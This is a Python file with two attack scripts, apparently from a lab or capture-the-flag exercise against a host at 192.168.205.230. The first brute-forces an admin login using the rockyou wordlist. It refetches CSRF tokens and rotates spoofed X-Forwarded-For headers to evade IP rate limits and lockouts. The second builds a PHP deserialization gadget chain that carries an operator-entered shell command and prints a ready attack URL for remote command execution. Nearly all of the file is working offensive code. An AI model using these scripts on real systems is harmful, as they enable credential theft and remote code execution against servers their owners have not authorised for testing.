import requests
import re
from time import sleep
from random import randint

LOGIN_URL = "http://192.168.205.230/login.php"
CHECK_URL = "http://192.168.205.230/check.php"
USERNAME = "admin"
PASSWORD_LIST_PATH = "/usr/share/wordlists/rockyou.txt"

def gen_ip():
    return f"{randint(1,255)}.{randint(1,255)}.{randint(1,255)}.{randint(1,255)}"

def main():
    print("--- 开始攻击 ---")
    print(f"[*] 目标URL: {CHECK_URL}")
    print(f"[*] 用户名: {USERNAME}")
    print(f"[*] 密码字典: {PASSWORD_LIST_PATH}")
    print("-" * 20)

    session = requests.Session()

    try:
        with open(PASSWORD_LIST_PATH, "r", encoding='latin-1') as f:
            for pwd in f:
                pwd = pwd.strip()
                if not pwd:
                    continue

                try:
                    ip = gen_ip()
                    headers = {
                        'X-Forwarded-For': ip,
                        'X-Originating-IP': ip,
                        'X-Remote-IP': ip,
                        'X-Remote-Addr': ip
                    }
                    
                    print(f"[*] 正在为密码 '{pwd}' 获取新Token... (IP: {ip})")
                    r = session.get(LOGIN_URL, headers=headers)
                    token_match = re.search(r'id="csrfToken" value="([a-f0-9]{16})"', r.text)
                    if not token_match:
                        print("[!] 无法获取Token，可能被封IP或页面变更。")
                        break

                    token = token_match.group(1)
                    print(f"[*] 获取成功, Token: {token}")

                    data = {
                        "username": USERNAME,
                        "password": pwd,
                        "csrf_token": token
                    }

                    res = session.post(CHECK_URL, data=data, headers=headers)
                    print(f"[*] 正在尝试密码: {pwd}")

                    if "密码错误" not in res.text and "用户名错误" not in res.text and "登录尝试次数过多" not in res.text:
                        print("\n" + "="*40)
                        print(f"[+] !!! 攻击成功 !!!")
                        print(f"[+] 用户名: {USERNAME}")
                        print(f"[+] 密码: {pwd}")
                        print(f"[+] 响应内容: {res.text}")
                        print("="*40)
                        return

                    if "用户名错误" in res.text:
                        print("[!] 用户名错误，停止爆破。")
                        return
                        
                    if "登录尝试次数过多" in res.text:
                        print("[!] 账户被锁定，稍等5分钟...")
                        sleep(300)

                except requests.RequestException as e:
                    print(f"[!] 请求异常: {e}")
                    sleep(5)

    except FileNotFoundError:
        print(f"[!] 密码字典未找到: {PASSWORD_LIST_PATH}")
    except Exception as e:
        print(f"[!] 未知错误: {e}")

if __name__ == "__main__":
    main()

import urllib.parse

class SystemExecutor: pass
class FileHandler: __init__ = lambda s,p,f: setattr(s,'process',p) or setattr(s,'filename',f)
class CacheManager: __init__ = lambda s,c: setattr(s,'cacheFile',c)
class UserSession: __init__ = lambda s,l: setattr(s,'logger',l)

def php_ser(obj):
    if isinstance(obj, str):
        return f's:{len(obj)}:"{obj}";'
    if isinstance(obj, SystemExecutor):
        return 'O:14:"SystemExecutor":0:{}'
    if isinstance(obj, FileHandler):
        d = php_ser('process')+php_ser(obj.process)
        d += php_ser('filename')+php_ser(obj.filename)
        return f'O:11:"FileHandler":2:{{{d}}}'
    if isinstance(obj, CacheManager):
        d = php_ser('cacheFile')+php_ser(obj.cacheFile)
        return f'O:12:"CacheManager":1:{{{d}}}'
    if isinstance(obj, UserSession):
        d = php_ser('logger')+php_ser(obj.logger)
        return f'O:11:"UserSession":1:{{{d}}}'
    return 'N;'

def g():
    c = input("输入命令: ").strip()
    e = SystemExecutor()
    f = FileHandler(e, c)
    cm = CacheManager(f)
    us = UserSession(cm)
    p = php_ser(us)
    u = f"http://192.168.205.230/ok.php?data={urllib.parse.quote(p)}"
    print(f"[*] 序列化字符串:\n{p}\n")
    print(f"[*] 攻击URL:\n{u}")

if __name__ == "__main__":
    g()